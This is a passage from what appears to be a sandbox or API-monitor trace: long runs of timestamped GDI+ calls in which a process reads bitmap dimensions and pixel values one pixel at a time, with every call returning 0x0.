(bitmap=0x5b7f3b8, x=0, y=230, color=0x19eed4) returned 0x0 [0159.021] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.021] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.021] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=231, color=0x19eed4) returned 0x0 [0159.021] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.021] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.021] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=232, color=0x19eed4) returned 0x0 [0159.021] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.021] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.021] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=233, color=0x19eed4) returned 0x0 [0159.021] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.021] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.021] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=234, color=0x19eed4) returned 0x0 [0159.021] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.021] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.022] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=235, color=0x19eed4) returned 0x0 [0159.022] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.022] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.022] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=236, color=0x19eed4) returned 0x0 [0159.022] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.022] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.022] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=237, color=0x19eed4) returned 0x0 [0159.022] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.022] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.022] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=238, color=0x19eed4) returned 0x0 [0159.022] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.022] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.022] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=239, color=0x19eed4) returned 0x0 [0159.022] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.022] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.022] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=240, color=0x19eed4) returned 0x0 [0159.022] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.022] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.022] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=241, color=0x19eed4) returned 0x0 [0159.022] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.022] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.022] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=242, color=0x19eed4) returned 0x0 [0159.022] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.023] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.023] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=243, color=0x19eed4) returned 0x0 [0159.023] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.023] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.023] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=244, color=0x19eed4) returned 0x0 [0159.023] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.023] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.023] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=245, color=0x19eed4) returned 0x0 [0159.023] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.023] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.023] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=246, color=0x19eed4) returned 0x0 [0159.023] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.023] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.023] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=247, color=0x19eed4) returned 0x0 [0159.023] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=248, color=0x19eed4) returned 0x0 [0159.204] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.205] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.205] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.205] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.205] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.205] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.205] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.205] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.205] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.206] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.206] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.206] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.206] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.206] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.206] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.206] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.206] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.207] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.207] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.207] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.207] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.207] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.207] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.207] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.207] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.208] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.208] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.208] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.208] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.208] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.208] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.208] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.209] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.209] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.209] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.209] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.209] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.209] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.209] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.209] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.210] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.210] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.210] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.210] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.210] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.210] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.210] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.210] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.211] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.212] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.213] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.214] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.214] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.214] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.214] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.214] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.214] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.214] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.214] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.218] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.218] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.218] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=117, color=0x19eed4) returned 0x0 [0159.218] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.218] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.218] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=118, color=0x19eed4) returned 0x0 [0159.218] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.219] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.219] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=119, color=0x19eed4) returned 0x0 [0159.219] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.219] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.219] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=120, color=0x19eed4) returned 0x0 [0159.219] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.219] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.219] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=121, color=0x19eed4) returned 0x0 [0159.219] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.219] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.219] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=122, color=0x19eed4) returned 0x0 [0159.219] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.219] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.219] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=123, color=0x19eed4) returned 0x0 [0159.219] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.219] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.219] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=124, color=0x19eed4) returned 0x0 [0159.219] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.219] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.219] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=125, color=0x19eed4) returned 0x0 [0159.220] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.220] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.220] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=126, color=0x19eed4) returned 0x0 [0159.220] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.220] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.220] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=127, color=0x19eed4) returned 0x0 [0159.220] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.220] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.220] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=128, color=0x19eed4) returned 0x0 [0159.220] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.220] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.220] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=129, color=0x19eed4) returned 0x0 [0159.220] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.220] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.220] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=130, color=0x19eed4) returned 0x0 [0159.220] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.220] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.220] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=131, color=0x19eed4) returned 0x0 [0159.220] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.220] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.220] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=132, color=0x19eed4) returned 0x0 [0159.221] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.221] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.221] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=133, color=0x19eed4) returned 0x0 [0159.221] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.221] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.221] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=134, color=0x19eed4) returned 0x0 [0159.221] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.221] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.221] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=135, color=0x19eed4) returned 0x0 [0159.221] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.221] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.221] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=136, color=0x19eed4) returned 0x0 [0159.221] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.221] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.221] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=137, color=0x19eed4) returned 0x0 [0159.221] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.221] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.221] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=138, color=0x19eed4) returned 0x0 [0159.221] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.222] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.222] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=139, color=0x19eed4) returned 0x0 [0159.222] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.222] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.222] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=140, color=0x19eed4) returned 0x0 [0159.222] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.222] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.222] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=141, color=0x19eed4) returned 0x0 [0159.222] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.222] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.222] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=142, color=0x19eed4) returned 0x0 [0159.222] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.222] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.222] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=143, color=0x19eed4) returned 0x0 [0159.222] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.222] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.222] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=144, color=0x19eed4) returned 0x0 [0159.222] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.222] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.222] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=145, color=0x19eed4) returned 0x0 [0159.222] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.222] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.222] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=146, color=0x19eed4) returned 0x0 [0159.223] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.223] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.223] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=147, color=0x19eed4) returned 0x0 [0159.223] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.223] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.223] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=148, color=0x19eed4) returned 0x0 [0159.223] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.223] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.223] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=149, color=0x19eed4) returned 0x0 [0159.223] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.223] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.223] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=150, color=0x19eed4) returned 0x0 [0159.223] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.223] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.223] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=151, color=0x19eed4) returned 0x0 [0159.223] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.223] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.223] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=152, color=0x19eed4) returned 0x0 [0159.223] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.223] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.223] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=153, color=0x19eed4) returned 0x0 [0159.223] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.223] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.223] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=154, color=0x19eed4) returned 0x0 [0159.224] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.224] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.224] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=155, color=0x19eed4) returned 0x0 [0159.224] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.224] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.224] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=156, color=0x19eed4) returned 0x0 [0159.224] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.224] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.224] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=157, color=0x19eed4) returned 0x0 [0159.224] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.224] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.224] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=158, color=0x19eed4) returned 0x0 [0159.224] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.224] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.224] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=159, color=0x19eed4) returned 0x0 [0159.224] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.224] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.224] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=160, color=0x19eed4) returned 0x0 [0159.224] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.224] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.224] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=161, color=0x19eed4) returned 0x0 [0159.224] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.225] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.225] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=162, color=0x19eed4) returned 0x0 [0159.225] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.225] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.225] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=163, color=0x19eed4) returned 0x0 [0159.225] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.225] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.225] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=164, color=0x19eed4) returned 0x0 [0159.225] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.225] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.225] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=165, color=0x19eed4) returned 0x0 [0159.225] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.225] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.225] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=166, color=0x19eed4) returned 0x0 [0159.225] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.225] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.225] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=167, color=0x19eed4) returned 0x0 [0159.225] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.225] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.225] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=168, color=0x19eed4) returned 0x0 [0159.225] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.225] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.225] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=169, color=0x19eed4) returned 0x0 [0159.226] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.226] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.226] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=170, color=0x19eed4) returned 0x0 [0159.226] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.226] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.226] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=171, color=0x19eed4) returned 0x0 [0159.226] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.226] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.226] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=172, color=0x19eed4) returned 0x0 [0159.226] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.226] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.226] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=173, color=0x19eed4) returned 0x0 [0159.226] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.226] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.226] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=174, color=0x19eed4) returned 0x0 [0159.226] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.226] GdipGetImageHeight 